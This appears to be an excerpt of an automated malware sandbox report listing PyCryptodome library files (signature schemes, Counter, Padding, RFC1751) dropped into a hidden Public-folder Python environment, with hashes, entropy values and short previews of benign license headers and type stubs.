Preview:	from typing import Union, Callable, Optional..from typing_extensions import Protocol....from Crypto.PublicKey.RSA import RsaKey......class Hash(Protocol):.. def digest(self) -> bytes: ..... def update(self, bytes) -> None: .........class HashModule(Protocol):.. @staticmethod.. def new(data: Optional[bytes]) -> Hash: .........MaskFunction = Callable[[bytes, int, Union[Hash, HashModule]], bytes]..RndFunction = Callable[[int], bytes]....class PSS_SigScheme:.. def __init__(self, key: RsaKey, mgfunc: MaskFunction, saltLen: int, randfunc: RndFunction) -> None: ..... def can_sign(self) -> bool: ..... def sign(self, msg_hash: Hash) -> bytes: ..... def verify(self, msg_hash: Hash, signature: bytes) -> bool: ...........def new(rsa_key: RsaKey, mgfunc: Optional[MaskFunction]=None, saltLen: Optional[int]=None, randfunc: Optional[RndFunction]=None) -> PSS_SigScheme: .....

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Signature\PKCS1_v1_5.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2042
Entropy (8bit):	5.32432696462352
Encrypted:	false
SSDEEP:	48:MwWOqrYJALrYJHdG43tDs3EsIG13NcuIH20+8bETupt3Tk2dRGM:MwDqrYJALrYJHdt3EHGuIjRjtPGM
MD5:	7D8BF8D0C4889A5BF6BB4EB95AA44466
SHA1:	06633D6A4637773198A481EAB9ED156591DB7932
SHA-256:	0653BE50072749B16247CBB4905BB79FBD877FFC93F51C5B3E59EDC5FEB48E07
SHA-512:	68B95CBC4A39638FB7462DC391A145EC115BA045F301FEC54A475D134E5A3C93ED3223DD06C8895D2916294FB09A2A54B6D666307053F1AFC443AAF879267806
Malicious:	false
Reputation:	low
Preview:	# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Signature\PKCS1_v1_5.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	467
Entropy (8bit):	4.916093935652459
Encrypted:	false
SSDEEP:	12:1REYBkRE1Bvxp+1bgBx1z4L556W3x1AggPIbY9Bw5ZwWOLtw3A0PIbR3:1REFC19+1bs1z4NNrAPAbY9Bw+Ltw3X2
MD5:	CA5E82193E428D853927F573B9D0AFFD
SHA1:	D1A94E957421405394C4EA31C15A384E3B758978
SHA-256:	FCA639E57C49A12AE306A309B29E2D2F49730F65AA23C5FF7DBC031A9EE8D378
SHA-512:	EEEDB242B966E71847B03C7CBBC519E77BBCB1DCCD2BE1CEE0BBF2A29B9833F22ACCAD774B7F782D4BF3D3F3EDC7B959117252D2C6C21ABFB1678166BE80AF84
Malicious:	false
Reputation:	low
Preview:	from typing import Optional..from typing_extensions import Protocol....from Crypto.PublicKey.RSA import RsaKey....class Hash(Protocol):.. def digest(self) -> bytes: .......class PKCS115_SigScheme:.. def __init__(self, rsa_key: RsaKey) -> None: ..... def can_sign(self) -> bool: ..... def sign(self, msg_hash: Hash) -> bytes: ..... def verify(self, msg_hash: Hash, signature: bytes) -> bool: .........def new(rsa_key: RsaKey) -> PKCS115_SigScheme: .....

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Signature\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	5.278283491953278
Encrypted:	false
SSDEEP:	48:MwWOqrYJALrYJHdG43tDs3EsIG13NcuIHQ+t1v:MwDqrYJALrYJHdt3EHGuIT
MD5:	60FAD4E2C2EF2BA9BC88934491AB89F8
SHA1:	45D630681807B431E6A26BF1438B4A477F07BE74
SHA-256:	2567D9DADE66C8CE9981C1B3856398708FFF5037E6ABBF4C0A9D60AFBD1E8678
SHA-512:	DDF73D98249043EB96E57121447EAEABB54E31DD35ACEC319FA7195B9DBC03D1B914E4014A023CB5ADC01F5DCB9C981ADF4F962EFAF011B723EC1F6C47CE5D10
Malicious:	false
Reputation:	low
Preview:	# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Signature\pycache\init.cpython-310.pyc.70762144

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.3437569578586555
Encrypted:	false
SSDEEP:	6:y/grG01/WlJnIsICA51dJyikQSKCUICAfeT37ZgAk+g8uaHxEM9ArMgA5762:CgrG09WllIVF1mikQ4NSDQ+g8VlhD762
MD5:	2D5E2D2B48FE9EB87DF6FE46A4E68C58
SHA1:	30E97612405568263B86BD0ACC67DAB72E72BF2D
SHA-256:	3BE20F38526BB469263A59EE82DEF3D3351CEDD0D58425BBEB9E1559A3826CCF
SHA-512:	00C2CC73F6EF8639140EDE48FC4EE39D12388EEA4CBB0ACF920B3322562D601B70C9578F87AA43CCD34CB2052242119CF15575E25132A80893F448863FBB6650
Malicious:	false
Reputation:	low
Preview:	o..........f.........................@...s....d.Z.g.d...Z.d.S.).zeDigital signature protocols..A collection of standardized protocols to carry out digital signatures..).Z.PKCS1_v1_5Z.PKCS1_PSSZ.DSSZ.pkcs1_15Z.pssZ.eddsaN)...__doc__..__all__..r....r.....KC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Signature\__init__.py..<module>....s........

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Signature\pycache\pss.cpython-310.pyc.72803416

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	10800
Entropy (8bit):	5.325984156587778
Encrypted:	false
SSDEEP:	192:G1XsDu4taLRgOBEsNXAYcURRFNlm32KFO6GaVRlpBlYa:G18CI+RgslADURRV/KPGaVZBea
MD5:	F81D8D4FFACCF9EF1FA51E6CF5719783
SHA1:	98B3AACD50DDFD7288A2E87DB652525A1B2F6356
SHA-256:	5313A44318D3BE517B6F66C639A8A4A3CBB7B77EF9EB1D0F4998DB926D693B52
SHA-512:	EA56E60AE1A602F20EFDC3278F622D3C4E93D2FADE7F12E90B406D9C361FC452573B4574AA870EDBE6893FEAEC1538EA23FD942D2FC6B4B2CB813947A46FD179
Malicious:	false
Reputation:	low
Preview:	o..........f.6.......................@...sz...d.d.l.m.Z.m.Z.m.Z...d.d.l.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...G.d.d...d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)......)...bchr..bord..iter_rangeN)...ceil_div..long_to_bytes..bytes_to_long)...strxor)...Randomc....................@...s0...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...PSS_SigSchemezvA signature object for ``RSASSA-PSS``.. Do not instantiate directly.. Use :func:`Crypto.Signature.pss.new`.. c....................C...s....\|.\|._.\|.\|._.\|.\|._.\|.\|._.d.S.).at...Initialize this PKCS#1 PSS signature scheme object... :Parameters:. key : an RSA key object. If a private half is given, both signature and. verification are possible.. If a public half is given, only verification is possible.. mgfunc : callable. A mask generation function that accepts two parameters:. a string to use as seed, and the lenth of the mask to. genera

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Signature\eddsa.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	12758
Entropy (8bit):	4.953249726457768
Encrypted:	false
SSDEEP:	192:6qrskrs9t3q/IVQVluiDVluYQu1s1NuMMMt:Frskrs9VqMlB1L
MD5:	0A4AF23CD5DF55B2C6E57D27689FCD5C
SHA1:	EAC0752A6E323C8A7EEB4D740268364526422DB5
SHA-256:	2DC65C619AFC2F1F5D170FA8FC67998B78FEB6ECC9EA4A3375AFE3C10AB37348
SHA-512:	E540382C6CCBACA754AED2B9F9A0D90938A37A00ED27B3829AD69B6089EC267767BEEB10968FD30BA7CBA586E20EB2DA6FE5D5ABC69AFA77AFE935C5D2D3482B
Malicious:	false
Reputation:	low
Preview:	# ===================================================================..#..# Copyright (c) 2022, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Signature\eddsa.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	747
Entropy (8bit):	4.991320777959256
Encrypted:	false
SSDEEP:	12:1REYBlRE1BvxS+1dw1z4L556trLuh72tR5A8TTo448/u4Jw1AL1A19YRG98mfvIs:1REOC1++161z4Nfh7IGhI+1mAl9Zfjuk
MD5:	F75719D633E9543F8B2191818F5F949E
SHA1:	50C2F1E8A90E757A473DDD36FA897EBA33B52786
SHA-256:	AB1B0BBE6DF0B563E17CF22EB3DCE37DAC436C836F19A3498647B6A167BC2C45
SHA-512:	B5472537D636DB5D8EE6BADEA791816C4E6B052D899AB443D8BC5CB5E4721B1C1B79160F114FEC8A289578566084D3B5C8E7E0385066A331FC9864465BBD0541
Malicious:	false
Reputation:	low
Preview:	from typing import Union, Optional..from typing_extensions import Protocol..from Crypto.PublicKey.ECC import EccKey....class Hash(Protocol):.. def digest(self) -> bytes: .......class XOF(Protocol):.. def read(self, len: int) -> bytes: .......def import_public_key(encoded: bytes) -> EccKey: .....def import_private_key(encoded: bytes) -> EccKey: .......class EdDSASigScheme(object):.... def __init__(self, key: EccKey, context: bytes) -> None: ..... def can_sign(self) -> bool: ..... def sign(self, msg_or_hash: Union[bytes, Hash, XOF]) -> bytes: ..... def verify(self, msg_or_hash: Union[bytes, Hash, XOF], signature: bytes) -> None: .......def new(key: EccKey, mode: str, context: Optional[bytes]=None) -> EdDSASigScheme: .....

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Signature\pkcs1_15.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	9088
Entropy (8bit):	5.053423261865839
Encrypted:	false
SSDEEP:	192:9qrskrs9t3q/ISM97UQFA2CEkoA3KhNzYaomc:0rskrs9VqdM97UQFAM+go
MD5:	8DD798B530CC55801BC2744A469CD46F
SHA1:	70FBA1485270D0F63B5C676B2AFC0CCAF606A06F
SHA-256:	2E59C1BB1C7A738F51343213C94F49503CB91BAD07D906272FA44BCC1CEDD8FA
SHA-512:	82DBDDC02494535B90B4388ED6698CBC4F90A0589B32A5D693C8134BF682007896E47C0055C222FE89260AF21CE8E0D4F639CEE61F02677893BD82937C310173
Malicious:	false
Reputation:	low
Preview:	# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Signature\pkcs1_15.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	581
Entropy (8bit):	5.067047688730709
Encrypted:	false
SSDEEP:	12:1REYBkRE1Bvxp+1bgBx1z4L556W3x1AggPIbY9Bw5ZwWOLRwlbQgA85A3A0PIbR3:1REFC19+1bs1z4NNrAPAbY9Bw+LRwlbf
MD5:	DC28B90A844CBE3BCE2F14FBAD339B51
SHA1:	920E136B27895D970DE44FC61B00180D4DB686F2
SHA-256:	E2CE13431A88DD8206D23EF6C0E1935B61795A97166309CA8FBED78D68AF6FED
SHA-512:	BC0C4D5F5FD2DB593B00144EB4DDC1BEE12B71CA399CC08C25F00C11B0463404B64FD20F2A13FC91B83ED7DE03E132AA1E968D12373D96E74BFDA0C4CA68A105
Malicious:	false
Reputation:	low
Preview:	from typing import Optional..from typing_extensions import Protocol....from Crypto.PublicKey.RSA import RsaKey....class Hash(Protocol):.. def digest(self) -> bytes: .......class PKCS115_SigScheme:.. def __init__(self, rsa_key: RsaKey) -> None: ..... def can_sign(self) -> bool: ..... def sign(self, msg_hash: Hash) -> bytes: ..... def verify(self, msg_hash: Hash, signature: bytes) -> None: .......def _EMSA_PKCS1_V1_5_ENCODE(msg_hash: Hash, emLen: int, with_hash_parameters: Optional[bool]=True) -> bytes: .......def new(rsa_key: RsaKey) -> PKCS115_SigScheme: .....

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Signature\pss.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13970
Entropy (8bit):	4.861341757640308
Encrypted:	false
SSDEEP:	192:9qrskrs9t3q/IFlYlgXJ0rcUfsOg58VFJbAVFtn3sxliqu8:0rskrs9Vq+GgXirHfsv8VEVP8/RL
MD5:	2A9F316CD479BB56AE101218E1B96816
SHA1:	3E63E6B6F8D771082C7DFF39B827BBB55BDA5CA9
SHA-256:	47736BFBB2762DEA089BE962E283E1E1155C51A2280C1839F5494B5BA9B72973
SHA-512:	C0F595025D3C77DB448177FFFAEC7FFA82FC021F08A351E00644CCA0F1006B1D68B4D6D567D242D56040CB7180D8B69DDD592C9ED85D653C34F8CCA026DCB84D
Malicious:	false
Reputation:	low
Preview:	# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Signature\pss.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1071
Entropy (8bit):	5.102431129383602
Encrypted:	false
SSDEEP:	24:1RE2C19+1bsY4Nf3fkKov27aBAOzev9Bw+LAu8Bo633XfD7:Jy+1o3xf1ov2GovRLAVnPf
MD5:	505820D514B9F7B2244301F2DC317034
SHA1:	A90CFF03252A14134E286EB646ED62D9B82E076D
SHA-256:	0A62FC61A9C9A60FDADEFBCF20BCAD59140D16C09E4485A28820F9D14B156ACE
SHA-512:	B5A534C52FC07BC8E0A145F628857381F7A8F4570459A83D3DFD4BFB0A6BD526465C1291CB8F2714F5B8A02D12A3403FBEC6B666BE49608B87D3CA80E10D8EC8
Malicious:	false
Reputation:	low
Preview:	from typing import Union, Callable, Optional..from typing_extensions import Protocol....from Crypto.PublicKey.RSA import RsaKey......class Hash(Protocol):.. def digest(self) -> bytes: ..... def update(self, bytes) -> None: .........class HashModule(Protocol):.. @staticmethod.. def new(data: Optional[bytes]) -> Hash: .........MaskFunction = Callable[[bytes, int, Union[Hash, HashModule]], bytes]..RndFunction = Callable[[int], bytes]....class PSS_SigScheme:.. def __init__(self, key: RsaKey, mgfunc: MaskFunction, saltLen: int, randfunc: RndFunction) -> None: ..... def can_sign(self) -> bool: ..... def sign(self, msg_hash: Hash) -> bytes: ..... def verify(self, msg_hash: Hash, signature: bytes) -> None: .........MGF1 : MaskFunction..def _EMSA_PSS_ENCODE(mhash: Hash, emBits: int, randFunc: RndFunction, mgf:MaskFunction, sLen: int) -> str: .....def _EMSA_PSS_VERIFY(mhash: Hash, em: str, emBits: int, mgf: MaskFunction, sLen: int) -> None: .....def new(rsa_key: RsaKey, *

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Util\Counter.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3292
Entropy (8bit):	5.003098854081704
Encrypted:	false
SSDEEP:	48:MRwEIB0jcQHMsvI/S3oCFGAZUqjZibFduSmZpoRE3bpJ5U:MRwfFQHvo2Uq1cFYSYpCE3bpJ5U
MD5:	25E5852A52182CBF645AC075BDE04C8E
SHA1:	5431574C5E607B91EE33D90D2DBD52E6634622A5
SHA-256:	E0D9B91A882D3986EF288761C85527F658E552B9A48B02AD630896A10B155F9B
SHA-512:	8AE1F5A17386A33B2C6E4D9360C2CCFEA10549DCDDAA920919B12C8FF4975AAA536E759C5C98885E9863194381B3C9B1E40D935C2562C80786CC9EEAE238A4BD
Malicious:	false
Reputation:	low
Preview:	# -- coding: ascii --..#..# Util/Counter.py : Fast counter for use with CTR-mode ciphers..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Util\Counter.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	295
Entropy (8bit):	4.705947008789207
Encrypted:	false
SSDEEP:	6:1REYBr0hxrMND0R2D9F6s/2F62LMJteOFr2gCUA2gA1MJFuJry:1REYBr0DI1RFF2FDLMJzZ2gCn2gA1gM4
MD5:	48844D3840F12D7CC253481AEB936730
SHA1:	2329321B884361FF52CD1E79D4ECD3ABD2C08309
SHA-256:	7A86661370C3B894AEB4EDAD8755466DE52226588608A530F63F3E3379585AD0
SHA-512:	06990D253057568DB8B16CAFF5599CD48FDE3100B5193213BD250BD1797D11F2A62C00D493AAC5CA60CD557514B3AC543454D9D50991B9EEAA735B3D6E3A7150
Malicious:	false
Reputation:	low
Preview:	from typing import Optional, Union, Dict....def new(nbits: int, prefix: Optional[bytes]=..., suffix: Optional[bytes]=..., initial_value: Optional[int]=1,.. little_endian: Optional[bool]=False, allow_wraparound: Optional[bool]=False) -> \.. Dict[str, Union[int, bytes, bool]]: .....

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Util\Padding.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	4421
Entropy (8bit):	5.191112640865006
Encrypted:	false
SSDEEP:	96:e1tDqrYJALrYJHdt3EHGuI2gHdYUI1e+GJF37gR8C91/ErvyGAhQyAk:e1Vqrskrs9t3q/ILxF379aGyQyh
MD5:	FBF391FD249DDBB1C32502AC42999B5D
SHA1:	9559F22269BBE2A0F918705DED635B8CC666DD10
SHA-256:	A04416E7AA698FFFC0301EE284720426B69E9A3BCB2A0C7E954A054698C29405
SHA-512:	4241AEF302C010640C2FA86D92F2EE7EA34A865F759D14C02024F62A3452C593C0BCCABFE46043E879EB1CD73A290F85C0DD106A294684F628C100EA06382DF9
Malicious:	false
Reputation:	low
Preview:	#..# Util/Padding.py : Functions to manage padding..#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SH

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Util\Padding.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	243
Entropy (8bit):	4.823438083026704
Encrypted:	false
SSDEEP:	6:1REYB0yqDLWJJni6Co6sRGcp5gUeQ/6sRGcp5/:1REYBkDyHZHRGe5VeQPRGe5/
MD5:	72AE5A92A5B5373240F3184324E84F6B
SHA1:	976AEA0ED87A3C086D068AE560FDB2FFCD591676
SHA-256:	ED464B7B39D2481D2C4DE1FF908308ADF7F035B21B3F7A242E469F1BD173DEF6
SHA-512:	27C15B7D76E180E1B65D566D8225C3661E78854515C9716A645C5F62E444B5A90AB61DDF92677B9C4A1276921711C281C814CAC60FA6D0BFC76A7716E4124613
Malicious:	false
Reputation:	low
Preview:	from typing import Optional....__all__ = [ 'pad', 'unpad' ]....def pad(data_to_pad: bytes, block_size: int, style: Optional[str]='pkcs7') -> bytes: .....def unpad(padded_data: bytes, block_size: int, style: Optional[str]='pkcs7') -> bytes: ...

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Util\RFC1751.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	21578
Entropy (8bit):	4.591349548627808
Encrypted:	false
SSDEEP:	384:aPe4cRum4V+EE2tKm/8MboR6U/6LcleM6s4riu6gvZGVSRq67:DAfHQgRGVe37
MD5:	73AEDFB55D3A90F08A29CC5D0AB7E623
SHA1:	D576725EC2571123AFE056369B58063BFB9D7724
SHA-256:	DFDB8CD578E00E485AD2070F24A3CFD7B0E75C972EBA73912B0BB59D8D67193B
SHA-512:	BB63BA3D20FC92A942F16C35E0128AEB2810310F75778FD6218D037D40AFFFCF3E19FFADE08882C0EC781548EACB5588A5B5A964E96FC5753CF44A9053EAADFD
Malicious:	false
Reputation:	low
Preview:	# rfc1751.py : Converts between 128-bit strings and a human-readable..# sequence of words, as defined in RFC1751: "A Convention for..# Human-Readable 128-bit Keys", by Daniel L. McDonald...#..# Part of the Python Cryptography Toolkit..#..# Written by Andrew M. Kuchling and others..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DA

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Util\RFC1751.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	166
Entropy (8bit):	4.7074966574817525
Encrypted:	false
SSDEEP:	3:1REvgBoGvFbT/uopMLUXvcgEsbd7RC7L6yuCnhlxEmu5gv:1REYBDFbaoiCEsdsPVua5EP5gv
MD5:	0DE296D8A8547E04D6926C50733B2BE8
SHA1:	00E9FDFFF578A121326A68BDDAD8C135CEDAD52D
SHA-256:	76B2DA534877F2226EA2D41EC36651EA9B0344F541B7B127DD6C51994F90F2C5
SHA-512:	1E6630A95E807139497202AB681F9B77974C90723DFFDADD1E100B4802B0D677DD4D2A3AC65A8ECF700AC6E1CC8BB353C2EBFFBBEE0AFB1C6ACA4C0D78C72A9E
Malicious:	false
Reputation:	low
Preview:	from typing import Dict, List....binary: Dict[int, str]..wordlist: List[str]....def key_to_english(key: bytes) -> str: .....def english_to_key(s: str) -> bytes: .....

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Util\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1968
Entropy (8bit):	4.96168817055765
Encrypted:	false
SSDEEP:	48:KIB0jcQHMsvI/S3oCFxSawf+bBVZ4YuOr2:dFQHvoEQ+tvY
MD5:	CCD084ED08A6E3D89DC9B9ECD62D524D
SHA1:	439DDFB5344BA4510F46A29913E7764824094696
SHA-256:	98831540F44AB7137A0DE53A8A8C818DEC32F0DC9C2731912424AECCE04C07FA
SHA-512:	354925C7E294A4FEA723AEBE1F618EF8DF1A82FDE95B578C86AB8DC21473E0719832E05D8971B537633631AAF62A2C6885A0D2F1F92A584C93F96F76D8204867
Malicious:	false
Reputation:	low
